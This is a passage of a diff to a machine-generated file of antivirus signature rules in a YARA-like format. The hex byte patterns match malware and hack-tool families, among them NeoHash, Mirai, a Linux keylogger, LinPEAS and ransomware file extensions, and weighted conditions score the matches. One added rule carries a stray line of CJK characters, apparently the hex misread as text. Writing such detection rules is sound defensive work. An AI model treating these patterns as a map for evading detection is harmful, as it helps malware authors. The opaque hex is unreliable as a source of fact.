32 8d 42 b2 67 51 89 23 } //22350 + $a_fc_13 = {8e 9a cd de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 21 e6 } //30958 + $a_0f_14 = {c0 72 26 09 ef af 36 63 7a bc 72 5a 20 c3 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 24 44 7d 4b 72 99 c4 05 82 ee 16 1e 73 b5 ce bc 5f 24 fd da dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 24 8d 9a cd f9 51 8b 81 53 f8 ad aa 69 bc b7 78 93 1e 37 26 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 26 52 2d 55 10 cb 16 c6 8b 49 6c 60 ae ed 55 5a 13 74 99 23 de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 29 c8 01 15 d6 4e 48 79 5d 48 5b d7 77 e0 } //32566 + $a_41_15 = {7f de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 29 fa 74 b5 c1 48 fe ca 53 d2 d4 fd b5 e2 83 05 69 f1 2a 52 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 2c cc 1a 74 6e ff b5 3f c5 b6 53 98 2f af 66 bc d3 82 14 c8 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 2e 47 46 62 25 b2 4e 64 db 13 31 70 5e d8 d9 12 ac 5c c3 1c dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 2f 7f 45 4a 7b b7 32 10 5a b0 cb 39 eb 98 b5 35 3d 35 bf 5d de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 31 6f 29 5d 05 2e de 71 e1 bb b2 70 16 } //17975 + $a_36_16 = {09 bb dd 21 } //12546 + $a_46_17 = {4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 32 9a 01 dd e0 44 bc c6 4a cf 69 3b e1 d8 4c 84 95 58 c5 06 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 36 9b 80 } //16675 + $a_4f_18 = {b0 91 6b 59 09 d6 0b 36 41 a5 56 24 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 3b 97 4e cf 60 } //-7841 condition: - ((#a_4c_0 & 1)*21539+(#a_75_1 & 1)*23664+(#a_70_2 & 1)*25977+(#a_6f_3 & 1)*28233+(#a_73_4 & 1)*29555+(#a_65_5 & 1)*26994+(#a_bd_6 & 1)*32658+(#a_9d_7 & 1)*-4237+(#a_4e_8 & 1)*17996+(#a_78_9 & 1)*16741+(#a_81_11 & 1)*0+(#a_50_12 & 1)*20026+(#a_21_13 & 1)*-9445+(#a_2e_14 & 1)*114+(#a_57_15 & 1)*14918+(#a_fd_16 & 1)*-11693+(#a_57_17 & 1)*14918+(#a_b8_18 & 1)*-1554) >=1 + ((#a_4c_0 & 1)*21539+(#a_75_1 & 1)*23664+(#a_70_2 & 1)*25977+(#a_6f_3 & 1)*28233+(#a_73_4 & 1)*29555+(#a_65_5 & 1)*26994+(#a_bd_6 & 1)*32658+(#a_9d_7 & 1)*-4237+(#a_4e_8 & 1)*17996+(#a_78_9 & 1)*16741+(#a_83_11 & 1)*0+(#a_75_12 & 1)*22350+(#a_fc_13 & 1)*30958+(#a_0f_14 & 1)*32566+(#a_41_15 & 1)*17975+(#a_36_16 & 1)*12546+(#a_46_17 & 1)*16675+(#a_4f_18 & 1)*-7841) >=1 } -rule _InfrastructureShared_753{ +rule _InfrastructureShared_756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -8292,25 +8345,25 @@ rule _InfrastructureShared_753{ ((#a_4c_0 & 1)*21539+(#a_38_1 & 1)*9519) >=2 } -rule _InfrastructureShared_754{ +rule _InfrastructureShared_757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,30 01 30 01 09 00 21 " strings : $a_4c_0 = {48 53 54 52 3a 44 6c 6c 2e 70 6c 79 36 30 36 2e 4d 6f 6e 69 74 6f 72 69 6e 67 00 64 00 0a 01 70 6c 79 36 30 36 2e 64 6c 6c 64 00 0e 01 61 76 63 6f 64 65 63 2d 35 31 2e 64 6c 6c 64 00 0d 01 61 76 75 74 69 6c } //21539 $a_2e_1 = {6c 6c 01 00 0a 01 66 69 6e 64 64 65 76 69 63 65 01 00 0d 01 73 63 61 6e 68 61 72 64 64 72 69 76 65 01 00 0b 01 73 61 76 65 64 76 72 66 69 6c 65 01 00 0f 01 69 6e 69 74 73 } //13357 - $a_74_2 = {65 72 76 65 72 01 00 0d 01 67 65 74 70 6c 61 79 65 72 69 6e 66 6f 01 00 0e 01 67 65 74 63 68 61 6e 6e 65 6c 69 6e 66 6f 00 00 7e 31 00 00 8f e0 17 35 3e d0 39 2b 30 e5 61 82 80 b1 18 08 65 98 86 ad de 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 31 00 00 9f 1e 28 12 54 63 fe 6f ca 88 89 ba 65 94 97 } //24941 - $a_69_3 = {dd 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 31 00 00 bc 86 36 49 1b 32 70 2a 89 a3 1b 42 c5 16 56 fc 68 17 40 5c dd 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 31 00 00 fe 1c ea 85 55 27 67 38 e4 7b b8 fc cf eb 3f ad 35 8d 01 56 dd 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 31 00 00 fe d2 93 f6 f3 3a da 87 cb 7e 8f 1a fc 20 4e e6 90 1f 1a 0e dd 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 34 00 00 0c 4b 6b 74 f4 c4 a6 c0 c1 5b de cd a8 55 f4 6e 6b c1 45 e0 cc 21 23 41 4c } //14964 - $a_55_4 = {3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 50 45 56 46 45 50 00 7e 34 00 00 26 09 28 d0 2a 83 4f ae e2 dc 66 b3 ca 5b 93 39 f2 1a 6d 52 dd 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 34 } //14918 - $a_1d_5 = {88 a2 20 82 53 1a 66 ad fc 09 c9 2c f3 22 f2 0d 3c de 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 34 00 00 63 62 33 f3 9e e7 bb 89 a0 bc 90 ee ed 11 02 6b c1 2a 8a cb dd 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //0 - $a_6e_6 = {32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 34 00 00 bc de 54 8b ad 61 b1 53 58 85 a3 7f 3f 80 fc 4b a9 e9 85 1f de 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 34 00 00 d5 91 47 bb 6c 3f 31 09 6f 4d 4d a7 1b 43 1a 56 9f 8e 3f 86 de 21 23 41 4c 46 3a 54 72 6f 6a } //22330 - $a_57_7 = {6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 34 00 00 dc 22 62 5c 0b eb 44 40 34 a1 e2 b7 60 af 85 a1 08 f3 a5 dd cc 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e } //28257 - $a_61_8 = {68 2e 50 45 56 50 45 50 00 7e 35 00 00 29 6f 42 fd 31 6e bd 16 58 9e 20 f2 ca 48 19 9e c4 d6 72 22 e1 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 68 5f 6d 63 76 00 7e 35 00 00 34 4c } //28517 + $a_74_2 = {65 72 76 65 72 01 00 0d 01 67 65 74 70 6c 61 79 65 72 69 6e 66 6f 01 00 0e 01 67 65 74 63 68 61 6e 6e 65 6c 69 6e 66 6f 00 00 7e 31 00 00 5b 0b 24 0d f6 2e 00 96 c5 ec 04 97 7c 46 16 34 35 6d d1 62 de 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 31 00 00 5b be 62 16 7d a6 8d 2a a2 e5 92 cc a6 f2 41 } //24941 + $a_b7_3 = {de 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 31 00 00 8a f9 1e 70 09 9f 32 d3 0f 65 d3 50 b0 58 3d a2 ef f6 b1 00 dd 21 23 41 4c } //-24779 + $a_55_4 = {3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 34 00 00 3e 45 c6 55 21 1b c5 4a 40 51 08 df 7b cd c9 7e dd b4 df 9f de 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 34 00 00 54 } //14918 + $a_3b_5 = {6e 69 a6 a1 ef 53 31 ed 46 5e c5 88 cf 36 de 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 34 00 00 83 53 6f 3b 42 58 09 cd 37 f0 2e a5 75 0c 5f 34 b6 3f 39 68 de 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 34 00 00 84 65 f7 c8 3c 22 d1 21 91 1c a2 57 65 0b 35 27 e5 c7 b6 8c de 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //12761 + $a_32_6 = {4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 34 00 00 93 30 65 f4 ae 89 91 1b 22 84 b9 19 d1 59 74 e7 d9 f2 10 80 dd 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //28265 + $a_32_7 = {4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 34 00 00 ab cd 3d e6 2d d6 1e cc 13 1e d2 85 73 f6 f7 91 f5 96 8c a4 de 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //28265 + $a_32_8 = {4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 34 00 00 c1 71 e0 57 49 97 e5 3d 3a c9 7d 32 99 aa 64 38 7c e5 09 c6 de 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //28265 condition: - ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*13357+(#a_74_2 & 1)*24941+(#a_69_3 & 1)*14964+(#a_55_4 & 1)*14918+(#a_1d_5 & 1)*0+(#a_6e_6 & 1)*22330+(#a_57_7 & 1)*28257+(#a_61_8 & 1)*28517) >=304 + ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*13357+(#a_74_2 & 1)*24941+(#a_b7_3 & 1)*-24779+(#a_55_4 & 1)*14918+(#a_3b_5 & 1)*12761+(#a_32_6 & 1)*28265+(#a_32_7 & 1)*28265+(#a_32_8 & 1)*28265) >=304 } -rule _InfrastructureShared_755{ +rule _InfrastructureShared_758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8320,7 +8373,7 @@ rule _InfrastructureShared_755{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_756{ +rule _InfrastructureShared_759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8330,7 +8383,7 @@ rule _InfrastructureShared_756{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_757{ +rule _InfrastructureShared_760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -8341,7 +8394,7 @@ rule _InfrastructureShared_757{ ((#a_6f_0 & 1)*21539+(#a_74_1 & 1)*-31744) >=1 } -rule _InfrastructureShared_758{ +rule _InfrastructureShared_761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -8351,7 +8404,7 @@ rule _InfrastructureShared_758{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_759{ +rule _InfrastructureShared_762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -8361,19 +8414,19 @@ rule _InfrastructureShared_759{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_760{ +rule _InfrastructureShared_763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 04 00 21 " strings : $a_4c_0 = {47 65 6e 4d 68 79 70 72 6f 74 2e 41 00 0a 00 1c 03 48 b9 55 55 55 55 05 00 00 00 90 02 0a 48 b9 d3 f6 ff 3f eb 38 00 00 48 33 d0 90 00 0a 00 30 00 5c 00 3f 00 3f 00 5c 00 63 00 3a 00 5c 00 77 00 69 00 6e 00 } //21539 $a_00_1 = {77 00 73 00 5c 00 6b 00 6d 00 6c 00 6f 00 67 00 2e 00 6c 00 6f 00 67 00 0a 00 28 00 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 5c 00 6d 00 68 00 79 00 70 00 72 00 6f 00 74 00 32 00 0a 00 2c 00 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 5c 00 6d 00 68 00 79 00 70 00 72 00 6f 00 74 00 65 } //100 - $a_31_3 = {00 03 cb e4 c7 42 af 10 c2 9e e1 59 dd b2 b0 0c ce 60 5c 94 4d dd 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 31 00 00 70 11 08 53 c3 b3 51 01 ba 89 06 4c b9 6f da cd ae d8 a3 ea dd 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 31 00 00 98 81 30 16 91 bb 14 87 92 83 15 b0 b9 d2 2f c4 d9 b9 f7 } //0 + $a_31_3 = {00 0f 00 9a 21 77 45 2b 9b 50 f2 26 c7 75 01 53 9f 31 30 51 2e de 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 31 00 00 20 7a 5d 11 9a ba cf f7 c0 18 15 68 f0 b4 46 23 f0 d1 ec 07 de 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 31 00 00 40 89 f5 d3 d1 0d af 68 29 8a 12 0b 0d 78 21 cf 96 2e 26 } //0 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*100+(#a_31_3 & 1)*0) >=30 } -rule _InfrastructureShared_761{ +rule _InfrastructureShared_764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8383,7 +8436,7 @@ rule _InfrastructureShared_761{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_762{ +rule _InfrastructureShared_765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -8394,7 +8447,7 @@ rule _InfrastructureShared_762{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*0) >=1 } -rule _InfrastructureShared_763{ +rule _InfrastructureShared_766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8404,7 +8457,7 @@ rule _InfrastructureShared_763{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_764{ +rule _InfrastructureShared_767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -8412,14 +8465,14 @@ rule _InfrastructureShared_764{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 6c 6f 61 64 65 72 2e 41 00 01 00 2c 02 72 69 76 65 72 5c 90 02 02 5c 90 02 02 5c 62 65 6c 69 65 76 65 5c 4c 6f 77 5c 90 02 02 5c 90 02 02 5c 63 72 6f 70 2e 70 64 62 90 00 01 00 2b 02 5c } //16675 $a_5c_1 = {6f 69 63 65 5c 77 68 69 74 65 5c 57 68 6f 5c 90 02 02 5c 43 75 72 72 65 6e 74 5c 77 65 61 72 2e 70 64 62 90 00 01 00 3a 02 5c 4c 65 61 73 74 5c 4f 72 69 67 69 6e 61 6c 5c 90 02 02 5c 90 02 02 5c 90 02 02 5c 44 69 73 63 75 73 73 5c 4c 61 72 67 65 5c 38 39 5c 62 75 74 5c 46 69 74 2e 70 64 62 90 00 01 00 } //29525 $a_53_2 = {61 74 5c 70 61 67 65 5c 70 61 70 65 72 5c 42 75 73 79 5c 90 02 02 5c 64 6f 77 6e 5c 57 69 6e 67 5c 57 6f 75 6c 64 2e 70 64 62 90 00 01 00 0f 80 01 47 65 74 41 63 74 69 76 65 57 69 6e 64 6f 77 01 00 1c 80 01 46 69 6e 64 46 69 72 73 74 43 68 61 6e 67 65 4e 6f 74 69 66 69 63 61 } //559 - $a_6e_3 = {00 00 7e 31 00 00 0a f5 68 6a c9 41 82 cd 07 2b ce a5 5a 65 16 df b8 9b 56 62 dd 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 31 00 00 2a ab a4 c1 27 45 e2 74 74 2a 39 a8 ae bf d3 fe 72 57 23 f2 de 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 31 00 } //26996 - $a_c1_4 = {86 cd 46 ba c8 a9 f3 3f 7c 7d 07 8d 3e a8 39 82 dd 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 31 00 00 44 18 f9 81 8a 5e c4 d8 df 8d 4e 6b 5a 7c ec 18 e0 14 71 73 dd 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 31 00 00 51 bd a2 b3 65 21 79 9f 98 a9 93 59 44 68 da 77 b1 03 b5 } //11264 - $a_23_5 = {4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 31 00 00 53 e3 ab 92 } //-8633 + $a_6e_3 = {00 00 7e 31 00 00 04 2d d9 f2 bd 26 d6 0d 97 78 da ed ba 0c 15 4b a5 43 8c c2 dd 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 31 00 00 0a 2c 99 e3 7f 6e 91 0a 0d e8 f7 27 3a ba 65 58 a7 0c 2b a9 de 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 31 00 } //26996 + $a_30_4 = {de f5 5f d8 4d 3b cb 91 7c 96 44 5b 14 02 c8 59 de 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 31 00 00 28 69 56 73 79 ab 93 68 a3 d9 c7 74 40 f1 6e ac b8 57 d1 d7 de 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 31 00 00 3d 41 5f 71 2f a6 b9 49 f8 a9 e9 f1 96 a2 d5 78 1b 14 bf f8 dd 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 31 00 00 41 2e f8 15 c5 ab a1 c5 2e 1a 65 94 5d 62 e7 2e 4a 94 8e d4 dd 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 31 00 00 47 6d 61 3f 6d e7 2f 2d d5 26 } //8192 + $a_5e_5 = {5b 32 07 e3 79 dd 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 72 00 7e 31 00 00 4e 4c 82 f7 da 42 28 d5 1c de e7 26 a7 b7 83 f0 f9 25 2f e4 de 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f 48 61 73 68 2e 72 68 63 00 7e 31 00 00 53 9b 99 18 70 59 86 28 f6 0b c7 34 21 b9 55 8b c4 d1 4f 5c dd 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4e 65 6f } //18651 condition: - ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*29525+(#a_53_2 & 1)*559+(#a_6e_3 & 1)*26996+(#a_c1_4 & 1)*11264+(#a_23_5 & 1)*-8633) >=3 + ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*29525+(#a_53_2 & 1)*559+(#a_6e_3 & 1)*26996+(#a_30_4 & 1)*8192+(#a_5e_5 & 1)*18651) >=3 } -rule _InfrastructureShared_765{ +rule _InfrastructureShared_768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 05 00 21 " @@ -8433,7 +8486,7 @@ rule _InfrastructureShared_765{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*5+(#a_00_2 & 1)*0+(#a_2f_3 & 1)*13166+(#a_0f_4 & 1)*656) >=25 } -rule _InfrastructureShared_766{ +rule _InfrastructureShared_769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -8443,7 +8496,17 @@ rule _InfrastructureShared_766{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_767{ +rule _InfrastructureShared_770{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 63 72 65 61 6d 69 6e 67 50 69 6c 6c 6f 77 2e 43 21 64 68 61 00 01 00 26 01 63 4a 53 4f 4e 5f 52 65 70 6c 61 63 65 49 74 65 6d 49 6e 4f 62 6a 65 63 74 43 61 73 65 53 65 6e 73 69 74 } //16675 慈正潔汯场湩㐶匯牣慥業杮楐汬睯䌮搡慨Ā☀持半乏剟灥慬散瑉浥湉扏敪瑣慃敳敓獮瑩 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8453,7 +8516,7 @@ rule _InfrastructureShared_767{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_768{ +rule _InfrastructureShared_772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -8464,7 +8527,7 @@ rule _InfrastructureShared_768{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24934) >=4 } -rule _InfrastructureShared_769{ +rule _InfrastructureShared_773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -8476,7 +8539,7 @@ rule _InfrastructureShared_769{ ((#a_54_0 & 1)*18467+(#a_55_1 & 1)*384+(#a_72_2 & 1)*21360) >=4 } -rule _InfrastructureShared_770{ +rule _InfrastructureShared_774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 02 00 04 00 21 " @@ -8488,7 +8551,7 @@ rule _InfrastructureShared_770{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110+(#a_01_3 & 1)*30720) >=2 } -rule _InfrastructureShared_771{ +rule _InfrastructureShared_775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 02 00 04 00 21 " @@ -8500,7 +8563,7 @@ rule _InfrastructureShared_771{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*102+(#a_00_3 & 1)*144) >=2 } -rule _InfrastructureShared_772{ +rule _InfrastructureShared_776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 32 00 21 " @@ -8532,31 +8595,32 @@ rule _InfrastructureShared_772{ $a_80_24 = {2e 78 6c 73 78 } //.xlsx 1 $a_80_25 = {2e 78 6c 74 6d } //.xltm 1 $a_80_26 = {2e 78 6c 74 78 } //.xltx 1 - $a_41_27 = {00 02 00 02 00 01 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4c 69 6e 50 65 61 73 2e 4d 52 37 00 02 00 13 80 01 2f 50 45 41 53 53 2d 6e 67 2f 50 45 41 53 53 2d 6e 67 2f 00 00 8c 51 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 43 70 70 41 50 49 44 69 72 65 63 74 6f 72 79 45 6e 75 6d 65 72 61 74 65 2e 41 00 01 00 1c 80 01 72 65 63 75 72 73 69 76 65 5f 64 69 72 65 63 74 6f 72 79 } //0 - $a_65_28 = {61 74 6f 72 00 00 8c 5a 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 43 70 70 43 72 79 70 74 6f 72 53 74 72 69 6e 67 73 2e 41 00 01 00 0d 80 01 65 6e 63 72 79 70 74 5f 62 6c 6f 63 6b 01 00 0b 80 01 65 6e 63 72 79 70 74 46 69 6c 65 01 00 0a 80 01 43 69 70 68 65 72 33 41 65 73 00 00 8c 60 00 00 09 00 09 00 03 00 21 23 41 4c 46 3a } //26975 - $a_6a_29 = {6e 3a 4c 69 6e 75 78 2f 4d 6f 6f 62 6f 74 2e 43 00 05 00 20 00 77 35 71 36 68 65 33 64 62 72 73 67 6d 63 6c 6b 69 75 34 74 6f 31 38 6e 70 61 76 6a 37 30 32 66 02 00 08 00 2f 67 6d 2f 62 69 6e 2f 02 00 08 00 2f 7a 2f 7a 62 69 6e 2f 00 00 8c 64 00 00 09 00 09 00 06 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 43 6f 73 6d 69 63 53 74 72 } //29268 - $a_2e_30 = {00 06 00 0d 80 01 2e 63 6f 73 6d 69 63 73 74 72 69 6e 67 01 00 04 80 01 2f 74 6d 70 01 00 05 80 01 2f 68 6f 6d 65 01 00 04 80 01 2f 76 61 72 01 00 04 80 01 2f 65 74 63 01 00 04 80 01 2f 6f 70 74 00 00 8c 65 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 68 63 2e 47 } //28265 - $a_01_32 = {45 3a 20 6e 65 69 74 68 65 72 20 61 72 67 76 5b 30 5d 20 6e 6f 72 20 24 5f 20 77 6f 72 6b 73 2e 01 00 0b 80 01 25 73 25 73 25 73 3a 20 25 73 0a 01 00 06 80 01 3c 6e 75 6c 6c 3e 00 00 8c 7d 00 00 0b 00 0b 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 47 47 00 05 00 1e 00 53 4e 51 55 45 52 59 3a 20 31 32 37 2e 30 2e 30 2e 31 3a 41 41 41 41 41 41 } //8192 - $a_76_33 = {05 00 09 00 54 65 61 6d 53 70 65 61 6b 01 00 26 00 55 53 45 52 2d 41 47 45 4e 54 3a 20 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 2f 36 30 2e 30 2e 33 31 31 32 2e 39 30 00 00 8c 95 00 00 08 00 08 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4b 65 79 6c 6f 67 67 65 72 2e 45 00 02 00 17 80 01 2f 70 72 6f 63 2f 62 75 73 2f 69 6e } //30778 - $a_2f_34 = {65 76 69 63 65 73 01 00 0a 80 01 67 65 74 4b 65 79 54 65 78 74 01 00 09 80 01 42 61 63 6b 73 70 61 63 65 01 00 05 80 01 52 43 74 72 6c 01 00 06 80 01 4c 53 68 69 66 74 01 00 06 80 01 50 61 67 65 55 70 01 